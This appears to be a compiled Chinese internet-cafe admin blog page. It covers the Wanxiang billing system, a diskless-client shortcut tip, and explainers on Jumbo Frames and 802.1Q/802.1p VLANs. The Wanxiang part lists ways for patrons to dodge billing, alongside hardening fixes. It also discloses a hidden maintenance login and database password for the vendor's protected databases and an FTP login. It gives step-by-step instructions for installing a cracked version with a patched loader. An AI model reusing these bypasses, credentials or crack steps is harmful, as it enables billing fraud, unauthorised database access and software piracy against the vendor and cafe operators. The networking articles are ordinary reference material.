关于万象收费系统方面问题!
一、万象漏洞：
万象收费系统尽量使用TCP/IP或UDP协议，一般不要采用IPX协议，可以防止大部分漏洞；
1、本地连接属性--将IPX协议前的勾去掉后，万象脱管，不计费；
解决办法：屏蔽本地连接及属性，禁用Network Connectionse服务；
2.利用F8进安全模式上网
解决方法：使用管理员级别帐户登录Windows XP，在“运行”窗口中输入“regedit”，打开注册表编辑器，找到HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot键值，将SafeBoot下的“Minimal”及“Network”项，改名为“Minimal1”及“Network1”或其它与原键值不同的名称，修改完成后，其他人在启动时按F8键进入任何一种安全模式，系统都会自动重启。
3.利用网络连接里面的新建连接向导 创建新的转接模式的网络连接 使万象无法监控工作站 从而达到免费上网
解决方法：屏蔽本地连接及属性，禁用Network Connectionse服务；用系统自带的组策略功能禁用 网络安装向导 网络连接 系统 等功能 并禁用运行中的CMD功能 在万象客户端里面设置成禁止显示C：盘目录
组策略具体设置方法：在运行里面输入gpedit.msc进入组策略设置界面--》用户配制--》管理摸板--》控制面板--》隐藏指定的控制面板程序--》设置成已启用--》显示--》添加--》添加控制面板里面的网络安装向导 网络连接 系统 等功能 然后保存应用就利用了
4。利用第三方破解软件进行第三方解锁和客户端密码破解
解决方法：在服务端上安装万象防脱管精灵或者防破解程序。至今发现的第三方破解软件列表：狼道 冰刃 。。。
5、万象网管吃钱的方法：0押金上机、自由设定低金额长时间上机；
二、万象网管软件中服务端无法看见客户端正常状态处理方法
目前服务端有部分网吧出现无法找到客户端或者无法看见客户端正常状态的情况，同样存在于万象2003和2004版（即万象妙管家和万象网管2004）使用IPX协议时，表现情况如下：
1、在服务端计算机列表中根本没有显示客户端机器，无法找到客户端。
2、在服务端计算机列表中显示所有机器为？号，卡号激活后，在客户端登陆后无任何提示，不能正常解锁，但在服务端已经进行计费状态。
3、在服务端直接上机后，客户端并没有解锁，等类似现象。
可以参考以下方法进行处理。
（一）如果机器使用双网卡。
打开网络连接（网上邻居属性），将外网网卡中NetBIOS和IPX/SPX协议不加载（并不是卸载，
（二）检查软件使用的协议是否一致。
1、打开万象服务端的系统设置，检查IPX协议所使用的端口
2、打开客户端的系统设置，检查IPX协议所使用的端口
3、检查服务端和客户端IPX协议使用的端口设置是否是一致。
4、如果设置的本地端口和远程端口不一致时，这需要将服务端的本地端口和客户的远程端口对应，服务端的远程端口和客户的本地端口对应，如服务端本地端口为11015/远程端口为11016，这客户端对应为本地端口11016/远程端口11015。
（三）使用工具检测IPX通讯。
打开安装包TOOLS目录找到测试工具PackTest.exe，因为要考虑到网络的双向通讯性，将该程序在服务端和客户端分别拷贝一份，然后开始测试。
1、从服务端运行该程序，点击发送
2、从客户端运行该程序，点击发送，如果显示已接受包个数则表示从服务端发送的IPX信息已经成功到达客户端（传输率达到50%以上为有效），如果没有显示，则表示信息没有发送成功。
3、反方向测试一次。 ，测试以后我们可以根据得到的结果进行问题判断
（1）双向测试成功，说明网络中IPX协议能够正常通讯，万象服务端能够正常显示客户端状态。
（2）双向测试都不成功，说明网络中IPX协议根本无法通讯，请检测网络上物理连接是否正常，检查服务端是否使用防火墙限制了你所使用的通讯端口。
（3）服务端能够发送到客户端，客户端不能发送到服务端；或者客户端能够发送到服务端，
服务端不能发送到客户端，说明网络中出现IPX协议单向通讯了。
下面我们进行具体分析。
有很多网吧是在使用中突然出现以上问题，有些网吧则是刚装上就有这些问题，网吧遇到这种情况时直接影响到整个网吧的营业，第一个想到问题肯定是万象怎么样怎么样了，其实我们没有必要讨论是不是软件的问题，因为不光是万象出现这种问题，只要是使用IPX协议作为通讯的软件都会遇到类似的问题，如其他的某些网管软件或者某些游戏，从这点来看应该是问题出在软件的运行平台上了，首先想到的就是网络环境。我们先从IPX协议说起，万象网管软件从一开始设计就使用IPX协议，当时最流行的操作系统是WIN98，该系统中默认的IPX协议是采用的Enthernet 802.2或者802.3标准，万象则是建立在802.2这个标准上，而微软的操作到了2000以后，系统中默认的IPX协议是自动检测，并且没有真正的IPX协议，取而代之的是IPX兼容协议，所以当网络中存在2000、XP或者2003的操作系统时就会出现IPX协议单向通讯的问题（当然也不能排除全部使用98系统的网吧同样出现该问题）。
1.出现服务端能够发送到客户端，客户端不能发送到服务端时：
打开收费端系统的网络连接（网上邻居属性），再打开本地连接属性中的IPX/SPX协议属性，帧类型由自动检测改为：802.2，网络号改成00000001(注：此网络号为帧类型的网络号而不是内部网络号，内部网络号一般不要更改)。
2.客户端能够发送到服务端，服务端不能发送到客户端时：
这种情况比较麻烦，需要将网络内的所有2K或者XP系统的所有的客户端进行IPX协议修改，和上述方法一致。
关于万象收费系统方面问题!
其实万像新版的数据库跟9.6的没啥区别，只是他用了access的安全组控制功能
主数据库文件：2004rec.mdb（上机记录和历史记录资料）
会员数据库文件：2004mem.mdb（会员资料）
商品资料：2004stck.mdb（商品资料）
access的安全组文件：SICENT.MDW
打开工具：OFFICE 2003/XP
打开access软件，工具/安全/工作组管理员，点击加入，然后浏览，选择您的c:\wx2004\SICENT.MDW文件位置 确定
然后就打开数据库使用用户和密码：
登陆名称：datamaintain
登陆密码：万象网管是一个发展了5年的成熟的产品
然后输入数据库密码：
数据据密码：zhrmghg1949jgq
[查看全文]
关于万象收费系统方面问题!
费率无法正常计算，计费费用一直为0，交接班记录得应收费用也为0，结帐应收费用也为0，临时卡不能正常到时间自动结帐，应收费用一直为0。老板模式下面得费率设置点击发现提示：注册表被破坏，请从新设置费率；点击确定后出现红色警示：List index out bounds（－1）；
这个是您注册表损坏造成的，需要您删除万象的注册表导入默认的注册表
[查看全文]
关于万象漏洞问题
万象网管2004常见问题
1、 请问万象网管2004支持哪些操作系统？
答：万象网管2004服务端支持以下操作系统：
服务端： Microsoft Windows 2000/XP/2003
客户端： Microsoft Windows 2000/XP 专业版
注意：服务端不建议使用Windows XP Home版本以及经过特殊处理精简过的系统。
2、 请问在启动软件时出现“The specified address family is not supported”并在退出软件时出现 “The descriptor is not socket”提示是什么原因？
答：这是因为没有安装IPX协议，请安装IPX协议。
注意：安装万象网管2004服务端和客户端的时候，如果是选择使用IPX协议，那么，您需要先安装IPX/SPX协议。
3、 在安装万象网管的时候，IPX协议、TCP/IP协议、UDP协议有什么区别，我应该选用什么协议？
答：IPX 协议：这是局域网中最常见的协议，主要用于局域网，优点是速度非常快，不带丢包检验，所以在网络不好的情况下，特别是广播包太多的情况下容易丢包。
TCP/IP ：属于IP 协议一种，另外具有 TCP 协议特性，具有数据验证功能，具有高可靠性的特点，但是速度不快。建议在网络非常不稳定的情况下才使用。
UDP 协议：属于 IP 协议一种，不具备 TCP 协议特性，没有数据包正确性验证，与 IPX 协议类似。
当您的网络条件还不错的情况下，首选为 IPX 协议，其实可选择使用TCP/IP协议，UDP 协议主要用在不适合用 IPX 协议的情况下。
4、 我要怎样才能使用我注册的账号使用万象网管2004软件？
答：请双击打开万象网管2004服务端软件，出现登录窗口后，请点击“更改验证账号”，在弹出的“万象网管包月服务用户验证”的对话窗口上输入您注册的验证账号和密码，确认之后就可以使用万象网管2004了。
5、 我以前使用老版本的万象网管（专业版或者妙管家）的数据（或者其他网吧管理软件），如何将数据转到万象网管2004里？
答：在万象网管2004安装包里－－Tools目录下有“impdb.exe”这个程序，改程序是数据库软件工具，可以将万象网管任何版本以及部分其他的网管软件的数据导入到万象网管2004里面。
注意：此转换工具仅支持导入会员资料。
6、 在万象网管2004里，我应该怎样设置通宵包时？
答：万象网管2004的费率设置非常灵活，您可以使用至少以下两种方法来实现：
1、设置一个优惠时段，先设置一个开始时间，再使用鼠标拖选的方法选择一个时段段，并设置这个时段的总价。注：在设置的优惠时段范围内，将按每小时价进行扣费，在此时段内当费用达到总价后，将不再收取费用以示优惠。此费率为自动适用，不需要手工选择。
2、设置一个定额费率，在定额费率里添加一个定额，设置收多少费用，并使用多长时间。注：此费率设置以后，需要在激活卡或者在服务端开机的时候，选择费率来实现。定额费率卡上机以后一次性扣费。
7、 在万象网管2004里，我如何使用远程查帐？
答：1、打开老板查帐功能：请先将万象网管2004“服务端”－“系统设置”—“其它设置”里将“允许远程老板查帐”复选框选中，并设置查帐密码。重启万象网管2004服务端程序后会自动运行远程查帐服务器。
2、查帐程序，在万象网管2004安装包里找到“FarReport.exe”，此程序就是远程查帐程序。运行此程序，并设置服务端IP和连接密码以后，可查看历史收入和营业数据。
3、跨互联网远程查帐，需要将万象网管2004远程查帐端口“2531”映射出去，在使用查帐程序时填写网吧的互联网固定IP即可访问。
8、 我重做了系统以后，打开万象网管服务端时，为什么提示“ 请确认您现在登录的机器是您首次使用此帐户登录的机器 ”？怎么解决？
答：为了验证帐号和安全，万象网管2004的验证账号采用与首次使用的此账号的电脑进行硬件绑定功能，所以在重做了系统、更换硬件、换电脑或者其他原因导致硬件信息发生改变的时候，就会出现此提示。
解决办法是：将注册账号的时候所填写的相关信息输入，并进行变更验证，验证成功后就可正常使用。
注意：如果变更不成功或者有疑问，请与我们联系：208-85333900
9、 为什么我12点后上的卡时间变为零点？
答：这是由于操作系统采用的是12小时时间制的原因引起的，建议使用24小时制。
在万象网管2004安装包－TOOLS目录里配备了修改工具SetPanel.exe，双击运行该工具即可修正为24小时制。
10、 万象网管2004里，在计费的机器中为什么计费条有些颜色是不一样的，有绿色的、红色的、灰色的？
答：在万象网管2004里，不同的卡类型以不同颜色进行区分，
黑色：使用计费卡上机时标记显示为黑色字体；
灰色：使用计时卡上机时标记显示为灰色字体；
绿色：使用计费卡上机并采用定额收费时标记显示为绿色字体；
红色：上机卡的押金或者剩余时间不足设置的提醒费用时显示为红色字体。
11、 万象网管2004里，怎么销售商品？
答：万象网管2004里的商品销售分两种模式，一是以现金方式销售，二是以附加费的方式销售。
工具栏中的商品销售是计为现金收入。
在处理计费状态的电脑上点鼠标右键，弹出的菜单里的商品销售是附加费方式销售，在用户结帐时候收取或者从押金中计算（此功能对计时卡会员用户不能使用）。
12、 如何清理远程执行的程序后保存的命令？
答：远程执行的程序名称或 URL 地址保存在服务端安装目录下面的 URLs.lst文件中，使用记事本打开删除或者直接将此文件删除即可。
[查看全文]
关于万象收费系统方面问题!
万象数据修复官方FTP：ftp://61.152.101.129 用户名及密码均为:72885388 上传前请仔细阅读《数据上传须知》
[查看全文]
破解版万象安装
破解版万象安装说明：
安装所需文件（复制到安装系统的硬盘的最后一个分区“TOOLS”目录下“万象文件夹内”）：
1.wx2004_v937.rar
2.万象937破解补丁(wx2004.937.60.rar)
服务端安装步骤（即收费机）：
1.安装好系统（XP，2003均可）；
2.设置收费机IP为大于250（一般设置为192.168.0.250或者192.168.1.250，如果采用IPX协议，需要在本地连接里安装此协议）；
3.解压wx2004_v937.rar到当前文件夹，运行server.exe安装服务端到安装系统的硬盘的最后一个分区根目录下（如：Z:\wx2004）,安装时选择万象2004服务端，选择TCP/IP协议，选择使用access数据库，其他默认；
4.解压wx2004.937.60.rar到当前文件夹，把server.exe和loader.exe复制到万象安装文件夹直接覆盖原来的server.exe文件，然后右键单击桌面上的万象服务端图标，把执行文件路径里的server.exe改为loader.exe，至此安装过程结束。
服务端设置：
1.双击万象服务端图标进入收费系统登陆界面，当前用户为boss时点击修改密码，可设置成和老板模式密码一样便于记忆或者88857994，修改完成后点确定，然后输入密码登陆收费系统，首次运行会提示验证，直接确定即可；
2.服务端→系统设置→进入其他设置页面→进入老板模式时的密码→根据老板需求更改，一般设置为88857994→然后进入备份设置页面→备份路径1选择安装系统的硬盘的最后一个分区下的bak文件夹→确定；
3.服务端→费率设置→普通卡，计费会员，定额费率根据客户需求设定；
4.服务端→操作员设置→点击+号添加收银员001和002→“分别”点击选中001和002再点空白按钮选择收银员权限→确定完成设置；
5.现在机器数据为空白，当客户端安装完成连接到服务端后会自动生成，其他设置根据需求自行设定。
客户端安装步骤（即工作站）：
解压wx2004_v937.rar到当前文件夹，运行clt2k.exe安装客户端，安装时选择万象2004客户端，协议一般选择TCP/IP协议，收费端IP输入收费机的IP地址。
客户端设置：
1.单击万象图标→设置→系统设置→初装完密码都为空；
2.钩选自动登陆→用户名设置此系统登陆用户名，一般为administrator,具体看每个系统；
3.钩选多少分钟无人使用则关闭计算机→一般设置3分钟；
4.系统设置→钩选禁止网络属性；
5.密码→把修改计算机解锁密码和修改运行设置程序密码都钩上→密码都设置成88857994，以后要修改可以在服务端的同步客户端设置里修改；
6.确定→完成客户端设置。
注意：以上为破解版安装说明，实际只是正版安装方法里多了个破解的步骤，并且正版需要先安装NET110（软件审计系统的情况，硬件审计系统不需要安装），还要安装文化监控软件
网维大师在桌面创建快捷方式分类图标的方法[无盘]
第一步 请取消还原 重启
第二步 发送E:\NBMSClient\BarClientView.exe到桌面快捷方式
第三步 右击这个快捷方式 属性目标 后加-Package ID
注意 1、-前有一个空格 Package和ID之间也有一个空格 ID即为您要设置快捷方式的这个游戏的
ID 确定即可
游戏：右击该快捷方式--属性--快捷方式-目标填写为：E:\NBMSClient\BarClientView.exe -
Package 游戏编号
另外，分组的设置为：目标填写为：E:\NBMSClient\BarClientView.exe -Class 分组名称（例如
网络游戏、单机游戏）
个人磁盘E:\NBMSClient\BarClientView.exe -Udisk
2、因为您发送到桌面上去的是barclientview.exe所以图标就是默认的那个图标 这个时候您还要
修改一下这个图标，图标您可以右击属性 更改图标 找到您这个游戏的图标确定 即可
第四步 完成整个设置 设置客户端为还原状态
Jumbo Frame巨帧简要介绍
常常见到交换机和网卡说明中提到支持Jumbo Frame，但我一直对以太网的Jumbo Frame（巨帧）如何使用不太理解，今日在网上找到2则现摘录下来，相信看了以后大家会有收获。
这是一种厂商标准的超长帧格式，专门为千兆以太网而设计，目前还没有获得IEEE标准委员会的认可。以太网标准的最大帧长度为1518字节，而Jumbo Frame的长度各厂商有所不同，从9000字节～64000字节不等。采用Jumbo Frame能够令千兆以太网性能充分发挥，使数据传输效率提高50%～100%。在网络存储的应用环境中，Jumbo Frame更具有非同寻常的意义。 Jumbo Frame需要在相互通讯的2个通讯端口(交换机端口或网卡端口)上同时支持，而且与以前的以太网产品不兼容，因此主要会应用于千兆主干的端口之间以及服务器端口接入到网络主干的链路。交换机把Jumbo Frame格式的数据转发向不兼容Jumbo Frame的端口时应进行帧格式的转换，即把Jumbo Frame帧格式的数据转换成标准以太网的帧格式，从而保证其正常工作。相反，从不兼容Jumbo Frame的端口向支持Jumbo Frame的端口转发数据时，交换机可以把多个标准以太网帧合并成超长Jumbo Frame帧，从而提高传输效率。—-由于Jumbo Frame没有成为国际标准，目前只有部分厂商支持这种帧格式。不过随着以太网向千兆、万兆的发展，必然要诞生1种超长帧格式，因而Jumbo Frame从厂商标准转变为国际标准的可能性非常大。
通常人们都认为Jumbo Frame（巨型帧）是一个相对简单的技术，应该被广泛的应用在局域网中，但是情况并非如此。应该说Jumbo帧在一些领域里是非常有用的，它是有意设计为加速大文件传输服务的。以太网标准定义的最大帧长度为1518字节，这样一个大的文件就需要被切碎成为若干块，放到多个以太网帧中。而每个数据块传输的时候都会引入帧头和尾的开销。倘若能够用一个大的帧完成文件的传输，则会减少很多帧的开销，提高网络的利用率和传输速率。通常人们认为，这一技术最大的应用瓶颈是在于至今没有标准化。但是，有些人不这么看，许多人提出了超长帧的以下缺点：它们可能会成为融合网络的障碍。如果人们在网络上传送语音或其他对延迟敏感的内容，不需要有妨碍这些对延迟敏感数据的超长帧传输。有人举例说，超长帧会造成延迟，一旦一个‘大家伙’在线路上传送，它会较长时间占用线路，阻止其他人使用线路，从而造成延迟。
另一位读者提到超长帧可以在一条与其他网络隔离的网络中使用，因此它们不会妨碍其他传输流。存储区域网也许就是这样的一个例子。但是首先，使用超长帧可能不再是一种优势。来自大学的两位用户说，为了了解超长帧是否能实际提高性能，他们测试了超长帧。一位用户谈道：“经过全面的测试后，我们得到的结论是：在使用现代的PC和千兆网卡时，性能提高得很少。超长帧在过去年代里的主要优势是减小高中断率对计算机的影响。但是，3-GHz CPU具有处理千兆流量的充足能力，网卡和驱动程序不再需要每一个数据包都中断一次。我们认为超长帧理论上看是一个不错的想法，但是在实际中它在千兆位时用处不大。10G以太网可能是另一个问题。另一位用户谈道：“我们发现降低性能的原因不是协议处理开销，而是CPU与网卡缓冲区之间数据移动所产生的延迟和影响。由于DMA（直接存储器存取）尺寸越大，CPU花在设置DMA和其他东西的时间就越少，时延也减少了。随着CPU速度的增加，协议处理开销就变得越来越无足轻重。我们的结论是，如果标准的商品化网卡允许超长DMA传输，你就可以获得更大的性能增益。同时，你不必修改MTU（最大传输单元）大小，打破标准。” 最后，一位来自厂商的人提到了使用巨型帧的几个缺点。
首先，帧越长意味着如果丢失一帧数据，则是一次更为严重的网络事件，而重新传送丢失的数据包成为更为耗费时间的工作。
其次，网络中的每种东西都必须支持超长帧，超长帧才能使用。
第三，Internet连接不支持超长帧：一个长度超过Internet连接所支持长度的帧将在发送前被分段，从而大大降低了Internet连接的性能和可靠性。这导致需要每一个工作站都必须知道哪个数据包传送到本地网络，哪个数据包传送到Internet。为了检测线路上的最大数据包长度，IP执行MTU路由发现算法，但是，这不是标准化的作法，并且，由于拒绝服务攻击，许多防火墙不允许与这种算法有关的ICMP数据包通过。因此，超长帧不能在与Internet连接的网络中使用。国内关于Jumbo帧的讨论并不多，国内一些有识之士，对其应用持肯定态度，但对使用方法提出建议。 Fluke公司蔡昌信先生的看法非常有意思。他对Jumbo帧的看法有两点。首先是，他认为帧大小的选择，实际上体现的是数据通信过程中对链路可靠性的一种控制。如果说链路是非常干净的并且很少出现差错，那么这条链路上可以传输非常大的帧，而不必为此付出任何系统开销。但是问题是，人们是否认为他们的链路状况足够好，信任他们的链路状况。另一方面是，在一条链路上究竟有什么样的数据在传输。如果在一个链路上同时有实时应用的数据和对延迟并不敏感的数据在传输，那么Jumbo帧的使用，会极大地影响到实时应用（蔡先生在此用到了“kill”这个词）。他认为Jumbo帧对于一些比较纯粹的大文件传输是非常有用的，比如说SAN这样的应用。但是如果在一个多种应用混合传输的环境中，并且没有端到端的QoS策略、带宽分配设置，广泛的使用Jumbo帧是非常不理智的事情。
另一位来自厂商的朋友也表达了自己的意见，他认为如果想享用Jumbo帧所带来的好处，就需要一个能够端到端支持Jumbo帧的环境，否则的话在一些地方需要重新切帧，同样会引入更多的开销。另一方面，支持Jumbo帧需要新的硬件，但是这同样是一个令人非常头痛的事情。这也导致了今天Jumbo帧现在仅仅在一些特殊环境使用，比如在服务器场用于数据的传输。
他个人认为，从长远的角度看Jumbo帧是有好处的，而且不仅IP存储，很多应用都会从中获益。而且，新设备中支持Jumbo帧的越来越多，端到端支持是有希望的。他特别强调要端到端使用才有意义。另外，他还表示，在1000米的距离上，我们计算传输9K字节长的帧的时间，在高速网络上，并不像一些人担心的那样，会引入巨大的延迟。 DOIT博客X fs@ UW Q
802.1Q VLAN协议和802.1P协议的实现
本文主要介绍了802.1Q VLAN协议在以太网交换机中的实现，以及802.1p协议的一些基本内容，有关这两个协议实现的具体细节，参考802.1Q和802.1p协议的相关资料。
一、802.1Q协议
802.1Q协议，即 Virtual Bridged Local Area Networks协议，主要规定了VLAN的实现，下面我们首先讲述一下有关VLAN的基本观念。
Virtual LANs目前发展很快，世界上主要的大网络厂商在他们的交换机设备中都实现了VLAN协议，顾名思义，VLAN就是虚拟局域网，比如对于QuidwayS2403交换机来说，可以将它的24个10MB以太网口划分为几个组，比如协议组，ATM组，测试组等，这样，组内的各个用户就象在同一个局域网内(可能协议组的用户位于很多的交换机上，而非一个交换机)一样，同时，不是本组的用户也无法访问本组的成员。
实际上，VLAN成员的定义可以分为4种:
1、根据端口划分VLAN
这种划分VLAN的方法是根据以太网交换机的端口来划分，比如S2403的1~4端口为VLAN A，5~17为VLAN B，18~24为VLAN C，当然，这些属于同一VLAN的端口可以不连续，如何配置，由管理员决定，如果有多个交换机的话，例如，可以指定交换机 1 的1~6端口和交换机 2 的1~4端口为同一VLAN，即同一VLAN可以跨越数个以太网交换机，根据端口划分是目前定义VLAN的最常用的方法，IEEE 802.1Q协议规定的就是如何根据交换机的端口来划分VLAN。这种划分的方法的优点是定义VLAN成员时非常简单，只要将所有的端口都指定义一下就可以了。它的缺点是如果VLAN A的用户离开了原来的端口，到了一个新的交换机的某个端口，那么就必须重新定义。
2、 根据MAC地址划分VLAN
这种划分VLAN的方法是根据每个主机的MAC地址来划分，即对每个MAC地址的主机都配置他属于哪个组。这种划分VLAN的方法的最大优点就是当用户物理位置移动时，即从一个交换机换到其他的交换机时，VLAN不用重新配置，所以，可以认为这种根据MAC地址的划分方法是基于用户的VLAN，这种方法的缺点是初始化时，所有的用户都必须进行配置，如果有几百个甚至上千个用户的话，配置是非常累的。而且这种划分的方法也导致了交换机执行效率的降低，因为在每一个交换机的端口都可能存在很多个VLAN组的成员，这样就无法限制广播包了。另外，对于使用笔记本电脑的用户来说，他们的网卡可能经常更换，这样，VLAN就必须不停的配置。
3、根据网络层划分VLAN
这种划分VLAN的方法是根据每个主机的网络层地址或协议类型(如果支持多协议)划分的，虽然这种划分方法可能是根据网络地址，比如IP地址，但它不是路由，不要与网络层的路由混淆。它虽然查看每个数据包的IP地址，但由于不是路由，所以，没有RIP，OSPF等路由协议，而是根据生成树算法进行桥交换，
这种方法的优点是用户的物理位置改变了，不需要重新配置他所属的VLAN，而且可以根据协议类型来划分VLAN，这对网络管理者来说很重要，还有，这种方法不需要附加的桢标签来识别VLAN，这样可以减少网络的通信量。
这种方法的缺点是效率，因为检查每一个数据包的网络层地址是很费时的(相对于前面两种方法)，一般的交换机芯片都可以自动检查网络上数据包的以太网桢头，但要让芯片能检查IP桢头，需要更高的技术，同时也更费时。当然，这也跟各个厂商的实现方法有关。
4、IP组播作为VLAN
IP 组播实际上也是一种VLAN的定义，即认为一个组播组就是一个VLAN，这种划分的方法将VLAN扩大到了广域网，因此这种方法具有更大的灵活性，而且也很容易通过路由器进行扩展，当然这种方法不适合局域网，主要是效率不高，对于局域网的组播，有二层组播协议GMRP。
通过上面可以看出，各种不同的VLAN定义方法有各自的优缺点，所以，很多厂商的交换机都实现了不只一种方法，这样，网络管理者可以根据自己的实际需要进行选择，另外，许多厂商在实现VLAN的时候，考虑到VLAN配置的复杂性，还提供了一定程度的自动配置和方便的网络管理工具。
以前，各个厂商都声称他们的交换机实现了VLAN，但各个厂商实现的方法都不相同，所以彼此是无法互连，这样，用户一旦买了某个厂商的交换机，就没法买其他厂商的了。而现在，VLAN的标准是IEEE 提出的802.1Q协议，只有支持相同的开放标准才能保证网络的互连互通，以及保护网络设备投资。
下面讲述一下VLAN的优点:
1、 减少移动和改变的代价，即所说的动态管理网络，也就是当一个用户从一个位置移动到另一个位置是，他的网络属性不需要重新配置，而是动态的完成，这种动态管理网络给网络管理者和使用者都带来了极大的好处，一个用户，无论他到哪里，他都能不做任何修改地接入网络，这种前景是非常美好的。 当然，并不是所有的VLAN定义方法都能做到这一点。
2、虚拟工作组，VLAN的最具雄心的目标就是建立虚拟工作组模型，例如，在校园网中，同一个系的就好象在同一个LAN上一样，很容易的互相访问，交流信息，同时，所有的广播包也都限制在该虚拟LAN上，而不影响其他VLAN的人，一个人如果从一个办公地点换到另外一个地点，而他仍然在该系，那么，他的配置无须改变，同时，如果一个人虽然办公地点没有变，但他换了一个系，那么，只需网络管理者那配置一下就行了。这个功能的目标就是建立一个动态的组织环境，当然，这只是一个远大的目标，要实现它，还需要一些其他包括管理等方面的支持。
3、限制广播包，按照802.1D透明网桥的算法，如果一个数据包找不到路由，那么交换机就会将该数据包向所有的其他端口发送，这就是桥的广播方式的转发，这样的结果，毫无疑问极大的浪费了带宽，如果配置了VLAN，那么，当一个数据包没有路由时，交换机只会将此数据包发送到所有属于该VLAN的其他端口，而不是所有的交换机的端口，这样，就将数据包限制到了一个VLAN内。在一定程度上可以节省带宽。
4、安全性，由于配置了VLAN后，一个VLAN的数据包不会发送到另一个VLAN，这样，其他VLAN的用户的网络上是收不到任何该VLAN的数据包，从而就确保了该VLAN的信息不会被其他VLAN的人窃取，从而实现了信息的保密。
理论上，VLAN可以扩展到WAN上，但是，这是不明智的做法，因为VLAN允许广播包发送出去，而且它没有很好的路由算法，经常是以广播的形式转发数据包，这样，毫无疑问，极大地浪费了WAN的宝贵的带宽，所以说，将基于端口的，MAC地址和网络地址的VLAN扩展到WAN，是不合理的，而基于多播的VLAN概念则可以灵活有效的扩展到WAN。一般的以太网交换机实现的都是基于端口的VLAN，个别的会实现基于MAC地址和网络层地址的VLAN，而路由器中可以通过IGMP多播协议实现所谓的组播形式的VLAN 。
802.1Q协议定义了基于端口的VLAN模型，这是使用得最多的一种方式。下面我们重点讲述一下交换机芯片是如何实现VLAN的，如果想了解更细节的内容，可以参考802.1Q协议，由于协议文本讲的非常抽象，所以，我们以TI公司的交换芯片为例来讲述，更便于理解。例子中的TNETX4090提供了8个100MB以太网口和1个1GB以太网口。
如图1所示，每一个支持802.1Q协议的主机，在发送数据包时，都在原来的以太网桢头中的源地址后增加了一个4字节的802.1Q桢头，之后接原来以太网的长度或类型域，关于以太网桢头的封装格式，参见以太网方面的培训教材。
图1 带有802.1Q标签头的以太网桢
这4个字节的802.1Q标签头包含了2个字节的标签协议标识（TPID--Tag Protocol Identifier，它的值是8100），和两个字节的标签控制信息（TCI--Tag Control Information），TPID是IEEE定义的新的类型，表明这是一个加了802.1Q标签的本文， 图2显示了802.1Q标签头的详细内容。
图2 802.1Q标签头
VLAN Identified( VLAN ID ): 这是一个12位的域，指明VLAN的ID，一共4096个，每个支持802.1Q协议的主机发送出来的数据包都会包含这个域，以指明自己属于哪一个VLAN，目前TNETX 3270只支持32个VLAN。
Canonical Format Indicator( cfi )：这一位主要用于总线型的以太网与FDDI、令牌环网交换数据时的桢格式，TNETX 3270忽略此位。
Priority：这3 位指明桢的优先级。一共有8种优先级，主要用于当交换机阻塞时，优先发送哪个数据包。TNETX 3270和TNETX 4090只支持一种优先级，所以这一位也没有用，
不难看出，802.1Q标签头的4 个字节是新增加的，目前我们使用的计算机并不支持802.1Q，即我们计算机发送出去的数据包的以太网桢头还不包含这4个字节，同时也无法识别这4个字节，将来会有软件和硬件支持802.1Q协议的。 对于交换机来说，如果它所连接的以太网段的所有主机都能识别和发送这种带802.1Q标签头的数据包，那么我们把这种端口称为Tag Aware 端口；相反，如果该交换机端口说连接的以太网段有只要有一台主机不支持这种以太网桢头，那么交换机的这个端口我们称为Access端口，从目前的情况可以看出，所有的交换机的端口都属于后一种。
那么，在现在的情况下，交换机是如何支持VLAN的呢？是这样的，比如交换机的1~4端口属于同一个VLAN，那么当 1 端口进来一个数据包是，交换机看到该数据包没有802.1Q标签头，那么，它会根据1号端口所属的VLAN组，自动给该数据包添加一个该VLAN的标签头，然后再将数据包交给数据库查询模块，数据库查询模块会根据数据包的目的地址和所属的VLAN进行路由，之后交给转发模块，转发模块看到这是一个包含标签头的数据包，而实际上发送的端口所连的以太网段的计算机不能识别这种数据包，所以，它会再将数据包进来是交换机给添加的标签头再去掉。如果计算机支持这种标签头，那么就不需要交换机添加或删除标签头了，至于到底是添加还是删除要看交换机所连的以太网段的主机是否识别这种数据包，即该交换机的端口是哪种类型的端口。当然，对于两个交换机互连的端口一般都是Tag Aware端口，这样，交换机和交换机之间交换数据包时是无须去掉标签头的。 一般交换机的连接方式如图3所示
图3 多个交换机的组网图
图中虚线是Tag Aware端口，实线是Access端口。
以太网交换机处理数据包的流程如图4所示。
图4 数据包处理流程
处理流程包括3个步骤：
1、接收过程：该过程负责接收数据包，数据包可以是带标签头的，也可以不带标签头，如果不带，交换机会知道根据该端口所属的VLAN添加上相应的标签头。
2、查找/路由过程：该过程根据数据包的目的MAC地址、VLAN 标识已经数据库中注册的信息决定把数据包发送到哪个端口。
3、发送过程：将数据包发送到以太网段上，如果该网段的主机不能识别802.1Q标签头，那么就将该标签头去掉，如果是与其他交换机互连的端口，一般不去掉。
具体的接收、查询和发送过程可以参考TNETX 3270的相关资料，下面是一个无标签头的数据包的接收到发送的过程。
图5 一个无标签头的数据包的处理流程
其中具体的路由过程参考TNETX 3270资料。图6 是另外的一个例子。
图6 一个互连的例子
以图6为例，假如Chris 发送一个数据包给Jackie，那么，处理的过程如下：
1、Chris 发送一个数据包给Jackie。
2、数据包到达交换机1的端口9，这是一个无标签头的包，所以交换机1 给该数据包添加一个VLAN ID。
3、根据目的MAC地址和VLAN ID，查询数据库，知道该数据包需要发送到24（或25、26号端口，这3 个端口被捆绑到一起，对上层来说，这3 个端口就好象一个端口，实际上交换机会根据3 个端口的流量来决定是从哪个端口往外发送）。如果不知道，则该数据包还会被发送到端口6，当然，在发送到端口6 的以太网段时，会先将标签头去掉，Altaf收到后会丢弃这个数据包，因为目的地址不是它。由于端口24是Tag Aware端口，所以，发送到24 好端口的数据包的标签头不去掉。
4、TNETX 4090交换机收到这个数据包后，根据VLANID和目的MAC 地址在它的数据库中查找路由，最后，它知道该数据包应该发送到端口4（5或6），标签头仍然不去掉。
5、交换机2收到后，根据VLAN ID和目的MAC地址，在它的数据库中查找路由，知道该数据包需要发送到端口2。于是将该数据包发送出去。注意，发送出去的数据包需要去掉标签头。
以上我们讨论了VLAN收发数据包的过程，它的具体实现已经由以太网交换机的交换芯片实现了，有兴趣者可参考交换芯片的技术资料。
二、802.1P协议
802.1p协议定义了优先级的概念，对于那些实时性要求很高的数据包，主机在发送时就在前面提到MAC桢头增加的3位优先级中指明该数据包优先级高，这样，当以太网交换机数据流量比较多时，它就会考虑优先转发这些优先级高的数据包。
目前部分以太网交换机所采用的交换芯片只支持2种优先级，也有一些能支持4个优先级。
